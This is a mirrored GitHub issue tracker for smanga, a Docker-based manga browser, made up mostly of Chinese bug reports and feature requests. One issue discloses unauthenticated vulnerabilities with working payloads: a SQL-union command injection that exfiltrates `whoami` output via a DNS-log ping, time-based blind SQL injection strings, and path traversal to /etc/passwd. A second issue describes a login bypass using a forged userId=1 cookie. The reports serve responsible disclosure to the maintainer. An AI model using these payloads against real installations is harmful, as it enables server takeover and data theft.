GithubHelp home page GithubHelp logo

lkw199711 / smanga Goto Github PK

View Code? Open in Web Editor NEW
588.0 588.0 26.0 16.26 MB

A simple manga browser 一款docker直装的漫画浏览器

License: GNU General Public License v2.0

JavaScript 0.93% HTML 17.88% Vue 55.43% TypeScript 16.79% CSS 4.49% Less 3.54% Dockerfile 0.94%

smanga's People

Contributors

ddsderek avatar ddsrem avatar dependabot[bot] avatar lkw199711 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

smanga's Issues

[bug] 媒体库漫画浏览界面默认条数问题

bug描述:
使用最新的3.2.0版docker
进入媒体库
进入漫画章节浏览界面
实际显示的章节条数为12条,但是下方的页面条数可选默认为20
然后点击第二页,再切回第一页,都会按照20条每页的章节数量进行显示
image

无法打开漫画

部署方式: docker
部署了域名后在另一台服务器能正常使用,都是使用nginx反代

这台服务器使用的目录包含rclone挂载的目录,但在web端该目录下的文件无法完全扫描,只显示了一部漫画并且没有漫画内容(docker所在文件夹以及挂载路径均已修改文件权限,容器中也可以访问正常文件并解压)
请问是否与rclone挂载有关?还是因为存在别的问题?

2023/05/21 23:20:37 [error] 243#243: *68 FastCGI sent in stderr: "PHP message: PHP Notice:  Undefined index: pageSize in /app/php/chapter/get.php on line 7PHP message: PHP Notice:  Undefined index: recordStart in /app/php/chapter/get.php on line 8" while reading response header from upstream,
client: 172.21.0.1, server: , request: "POST /php/chapter/get.php HTTP/1.1", upstream: "fastcgi://unix:/run/php/php-fpm.sock:", 
host: "personal-website", referrer: "personal-website "

3个高危漏洞

测试环境说明

  • 版本:3.2.7(最新版)
  • 环境:docker

docker搭建所使用的命令:

docker run -itd --name smanga \
-p 3333:3306 \
-p 8097:80 \
-v /mnt:/mnt \
-v /route/smanga:/data \
-v /route/compress:/compress \
lkw199711/smanga;

1、未授权远程代码执行

  • 漏洞描述

/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。

Payload:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
  • 漏洞复现

payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。

image image
  • 漏洞原理
    payload中通过sql联合查询拼接自己构造的查询项,构造第5个查询项为命令注入点,即mangaPath的值,程序中删除逻辑没有对参数进行过滤,直接使用rm -rf拼接mangaPath删除,造成了命令注入。
image

其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。

image

2、未授权SQL注入

  • 漏洞描述

补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。

php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。

  • 漏洞复现

使用基于时间的盲注测试mediaId接口。
构造Payload分别为sleep 6秒和3秒,成功满足预期效果。

if(now()=sysdate()%2Csleep(3)%2C0)
image
if(now()=sysdate()%2Csleep(6)%2C0)
image

使用sqlmap利用测试,成功获取数据库名:

image
  • 漏洞原理

sql语句查询没有对接收的参数进行过滤。

3、未授权任意文件读取

  • 漏洞描述

/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。

  • 漏洞复现

尝试读取/etc/passwd

image

尝试读取config.ini

image
  • 漏洞原理

没有对file参数进行过滤,导致任意文件读取。

请问路径究竟应该怎么设

我在docker的设置面板里已经制定了文件夹,但是在媒体库设置里输入此路径就是显示无法读取,请问到底应该怎么设置

在3.3.5和beta中部分文件权限问题和根目录访问404

在3.3.5和beta中部分文件权限问题和根目录访问404问题

  1. 如果使用puid和pgid参数会遇到
    PermissionError: [Errno 13] Permission denied: '/logs/supervisord.log'
    解决办法是改权限
  2. 不知道是不是故意为之,在/etc/nginx/conf.d中的配置文件设置根目录为/app,但网站文件在/app/docker里,所以访问得加个/docker路径。
    可以试试在配置里 location /里设置root根目录

希望能使排序功能持久化

目前默认的排序方式是按照入库时间来排序的,如果选择了其他排序方式(如按名称),一旦刷新或是关掉重开则又会被还原到默认排序方式。如果能使排序功能不会随着刷新而改变,或是允许用户设定默认排序方式,会更好一些。

外网访问时会不断刷新页面

大佬你好,请教个问题,我在内网搭建了smanga服务,通过cloudflare tunnel接入(外网访问)后,在外网访问会不断刷新页面,F12看了下是因为会不断发送HEAD请求,刷新缓存,这个有什么办法优化吗?内网访问就不会弹出刷新提示:
外网,
image

使用compose部署安装出现的问题

Docker版本:

docker-ce 5:24.0.5-1-debian.11-bullseye

Compose版本:

docker-compose-plugin 2.20.2-1-debian.11-bullseye

smanga版本:

3.3.7

compose:

version: "3"
services:
  smanga:
    image: lkw199711/smanga:alpha
    deploy:
      resources:
        limits:
          cpus: '0.5'
          memory: 1G
        reservations:
          memory: 16M
    ports:
      - 9798:80    
      - 63306:3306 
    volumes:
      - /srv/dev-disk-by-uuid-cf6c44ac/Docker/Docker_AppData/smanga/data:/data          
      - /srv/dev-disk-by-uuid-cf6c44ac-/Docker/Docker_AppData/smanga/compress:/compress  
      - /srv/dev-disk-by-uuid-580b5dc1-/Project2/Manga:/mnt                             
    environment:
      PUID: 1000    # 想切换为哪个用户来运行程序,该用户的uid
      PGID: 1000    # 想切换为哪个用户来运行程序,该用户的gid
      UMASK: 022
      TZ: Asia/Shanghai
    restart: unless-stopped
    hostname: smanga-alpha
    container_name: smanga-alpha

  • 问题一

添加扫描之后没有出现漫画,查看数据库发现大量一下错误信息

"ErrorException: dir(/mnt/日漫/XXXXX.zip): failed to open dir: Not a directory in /app/php/app/Jobs/ScanManga.php:259
Stack trace:
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()
#1 /app/php/app/Jobs/ScanManga.php(259): dir()
#2 /app/php/app/Jobs/ScanManga.php(144): App\Jobs\ScanManga->get_chapter_list()
#3 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\Jobs\ScanManga->handle()
#4 /app/php/vendor/laravel/framework/src/Illuminate/Container/Util.php(40): Illuminate\Container\BoundMethod::Illuminate\Container\{closure}()
#5 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(93): Illuminate\Container\Util::unwrapIfClosure()
#6 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(37): Illuminate\Container\BoundMethod::callBoundMethod()
#7 /app/php/vendor/laravel/framework/src/Illuminate/Container/Container.php(653): Illuminate\Container\BoundMethod::call()
#8 /app/php/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(128): Illuminate\Container\Container->call()
#9 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\Bus\Dispatcher->Illuminate\Bus\{closure}()
#10 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#11 /app/php/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(132): Illuminate\Pipeline\Pipeline->then()
#12 /app/php/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(120): Illuminate\Bus\Dispatcher->dispatchNow()
#13 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\Queue\CallQueuedHandler->Illuminate\Queue\{closure}()
#14 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#15 /app/php/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(122): Illuminate\Pipeline\Pipeline->then()
#16 /app/php/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(70): Illuminate\Queue\CallQueuedHandler->dispatchThroughMiddleware()
#17 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(98): Illuminate\Queue\CallQueuedHandler->call()
#18 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(428): Illuminate\Queue\Jobs\Job->fire()
#19 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(378): Illuminate\Queue\Worker->process()
#20 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(329): Illuminate\Queue\Worker->runJob()
#21 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(117): Illuminate\Queue\Worker->runNextJob()
#22 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(101): Illuminate\Queue\Console\WorkCommand->runWorker()
#23 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\Queue\Console\WorkCommand->handle()
#24 /app/php/vendor/laravel/framework/src/Illuminate/Container/Util.php(40): Illuminate\Container\BoundMethod::Illuminate\Container\{closure}()
#25 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(93): Illuminate\Container\Util::unwrapIfClosure()
#26 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(37): Illuminate\Container\BoundMethod::callBoundMethod()
#27 /app/php/vendor/laravel/framework/src/Illuminate/Container/Container.php(653): Illuminate\Container\BoundMethod::call()
#28 /app/php/vendor/laravel/framework/src/Illuminate/Console/Command.php(136): Illuminate\Container\Container->call()
#29 /app/php/vendor/symfony/console/Command/Command.php(298): Illuminate\Console\Command->execute()
#30 /app/php/vendor/laravel/framework/src/Illuminate/Console/Command.php(121): Symfony\Component\Console\Command\Command->run()
#31 /app/php/vendor/symfony/console/Application.php(1040): Illuminate\Console\Command->run()
#32 /app/php/vendor/symfony/console/Application.php(301): Symfony\Component\Console\Application->doRunCommand()
#33 /app/php/vendor/symfony/console/Application.php(171): Symfony\Component\Console\Application->doRun()
#34 /app/php/vendor/laravel/framework/src/Illuminate/Console/Application.php(94): Symfony\Component\Console\Application->run()
#35 /app/php/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(129): Illuminate\Console\Application->run()
#36 /app/php/artisan(37): Illuminate\Foundation\Console\Kernel->handle()
#37 {main}" 

  • 问题二

TZ已设置**时区,数据库看到得信息时间不正确 TZ: Asia/Shanghai

2023-08-09 22:17:12:  路径正在扫描,放弃当前扫描任务 pathId->1

2023-08-09 22:17:15:  路径正在扫描,放弃当前扫描任务 pathId->1

2023-08-09 22:17:19:  路径正在扫描,放弃当前扫描任务 pathId->1

2023-08-10 03:07:24:  路径正在扫描,放弃当前扫描任务 pathId->1

问题:PDF格式文件 的组织、读取

赞美

经过一段时间的使用,作者对于zip和 png的格式处理,十分不错,能正常使用。

困惑

在文件结构的选择时,并没有写存放pdf文件的内容如何组织。

比如下图,我应该把单个pdf文件当作选项中的图片还是章节,还是应该每个pdf用一个同名文件夹重新包裹。

image

问题描述

在pdf 文件转换时,也有打不开的问题。(当然我暂时不知道是不是前面路径的问题。)

image

查看转换的信息,貌似转换失败了:

image

期待

如果能完善pdf的相关功能,smanga离最好的阅读器又更进一步,祝好

无法打开新的章节

日志会报“error 章节 “第2話 用身體本能辦案的徵信社(2).cbz” 转化记录插入失败[2023-10-23 00:54:40][266] Processed: App\Jobs\Compress ==> /data/logs/smanga-daemon.log <==”
换一本漫画也这样

中文文件名压缩包内容自动转换后无法正常显示

使用自带的自动转换功能自动解压中文压缩包时,可能会出现解压后目录乱码无法访问的问题,媒体库界面中表现为点开漫画封面后无法显示内容,仅有灰色背景。
我的解决方案:手动使用 unzip 解压时添加参数 -O cp936 ,指定文件编码(有些unzip版本可能不支持 -O 参数,需要修改)。
出现问题原因:推测为压缩文件时使用Windows压缩,解压时使用Linux解压,zip文件名使用 GBK 编码,使用 UTF-8 解码,而zip文件中不包含文件名编码信息,故出现乱码,导致阅读器无法正常识别。

Truenas scale

重启容器后所有数据全部消失,是什么问题

用户权限管理功能无效

创建了一个guest用户来测试,不给任何权限,登录后却能够进行用户管理然后给自己授权,甚至能删掉管理员账户。。。这部分功能还需要完善一下

使用一段时间后对于smanga的建议和所遇到的问题

建议:

    1. 对于媒体库功能选项:媒体库类型、默认浏览方式、默认浏览方式、文件夹机构,增加对应释义说明和示例,切换不同选项时显示不同功能说明和示例
    1. 标签管理> 新增标签>标签颜色, 希望能增加色表选择功能
    1. 新增NAS上动漫文件管理功能
    1. 希望能新增漫画信息刮削功能及自动添加TAG保存至对应的nfo文件中,smanga自动读取nfo 加快漫画信息添加完善漫画信息,(对于漫画信息数据完善速度及管理,个人更偏向于nfo文件方式)

问题:

    1. 切换媒体库时出现数据延迟刷新,切换到另一个B媒体库时出现A媒体库信息,3秒之后显示信息才刷新
    1. 在A媒体库点开漫画之后,切换到B媒体库点开漫画,出现A媒体库点开的内容,等一会才刷新到A媒体库的漫画内容
    1. 漫画已点开浏览过,切换回漫画列表,漫画封面未刷新,重新进去媒体库漫画封面也未刷新
    1. 漫画封面遇到横屏图时,能不能进行自定义裁切或者图片自动缩放

关于Windows的计划

不知道作者什么时候支持Windows系统,毕竟Windows的用户还是很多的,也有人用Windows做服务器的。

功能:PDF阅读与decompress任务的优先级问题

问题描述

我再添加了一个zip包的大库之后,会打不开pdf。看图是要等待转换完成?

image

我确实观察到有正在进行的decompress任务

image

建议

我想这个PDF阅读的优先级,能不能提高到decompress的前面,应该会有利于阅读,谢谢。

数据库初始化异常及个人解决办法

环境:阿里云RDS MySql8数据库
报错:
[ERR] 3161 - Storage engine MyISAM is disabled (Table creation is disallowed).
分析:
数据库配置:可能禁用了MyISAM引擎。
数据库版本:较新版本的MySQL可能默认不启用MyISAM存储引擎。
修复方式:
下载SQL文件,将sql语句中的MyISAM修改为InnoDB后执行SQL文件到数据库

身份验证绕过漏洞

环境说明

版本:3.2.7

使用推荐映射docker搭建

漏洞描述

登陆界面存在身份验证绕过漏洞,攻击者可构造cookie绕过登陆验证,进入后台。

漏洞复现

1、初始访问,此时需要登录,没有cookie

DACE02C5-2A71-4AEF-8B45-44400C9345E0

2、构造cookie,访问url根目录,即 http://xxx.xxx.xxx.xxx:8097/ 可登陆后台

cookie:userId=1

Expires处随便填写不过期的日期,这里以 2024-07-12T09:27:52.000Z 举例

351C84EC-BECD-4DF7-AC94-5F79A86AD910

请修改收藏

目前收藏漫画书只能有一本,如果在想收藏,则数据库不让写入。
原因是章节id
pCXpYid.png
收藏漫画书默认章节id为-1,接下的收藏的漫画书章节id默认也为-1冲突了,所有收藏不了
pCXptJA.png

封面选择与评分

1.能否自定义封面,因为有些漫画下载下来,第一页并不适合当封面。或者增加一个选项,在修改漫画内容后,可以手动仅仅更新该漫画内容或者更新所有漫画的封面。
2.添加标签系统,自己可以给漫画打标签,评分,从而使用标签和评分筛选内容(如果能够导入或者刮削外部网站就更好啦,如果存在风险的话,能不能通过预留接口,通过其它项目完成)。
6666666666666

最后,非常感谢大佬的努力,这个项目用起来很棒的。

书签

在瀑布浏览方式下,书签并没有生效,而且瀑布浏览方式下翻页有一点慢

line 72

Argument 1 passed to Symfony\Component\HttpFoundation\Response::setContent() must be of the type string or null, object given, called in /app/php/vendor/laravel/framework/src/Illuminate/Http/Response.php on line 72

能不能别往docker日志输出进程守护的信息

pi3B3tg.png
多少有点蚌住了,几小时没看,如果没设置日志文件大小,迟早存储消耗没
我用的 lkw199711/smanga:nosql-3.6.0,因为显示在改文件所有权,所以没管,几小时后想想差不多,就过来看看,结果一堆日志

群晖版无法处理7z格式的漫画压缩包

image
添加7z格式的压缩包,打开漫画时会提示正在进行压缩转换并在compress创建相应文件夹,但是文件夹内容为空。但是先把7z格式的压缩包解压再压缩为zip/rar格式就能正常转换观看。
顺便问一下 压缩管理和漫画管理有意向添加搜索吗

感谢大大的奉献

希望能添加刮削功能

我觉得既然是以emby/plex为灵感,作为流媒体管理工具开发的,刮削是一个很重要的功能
尤其是管理本子,数量一多没tag根本没法找到自己想看的
希望添加能从eh等站点刮削元数据以及通过tag搜索的功能

能否不解压直接提取图片和封面

对于大部分压缩压缩格式基本都可以直接提取对于文件和列表的情况下,
可以提供选项不预先解压文件吗?cache 目录也是有一定限制的

封面图片也可以直接获取文件列表后按名称排序取第一张图或者对应的cover.xxx就可以了

路径问题

能否支持局域网路径和中文路径?例如:192.168.2.1/share/comic;或者/share/漫画/

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.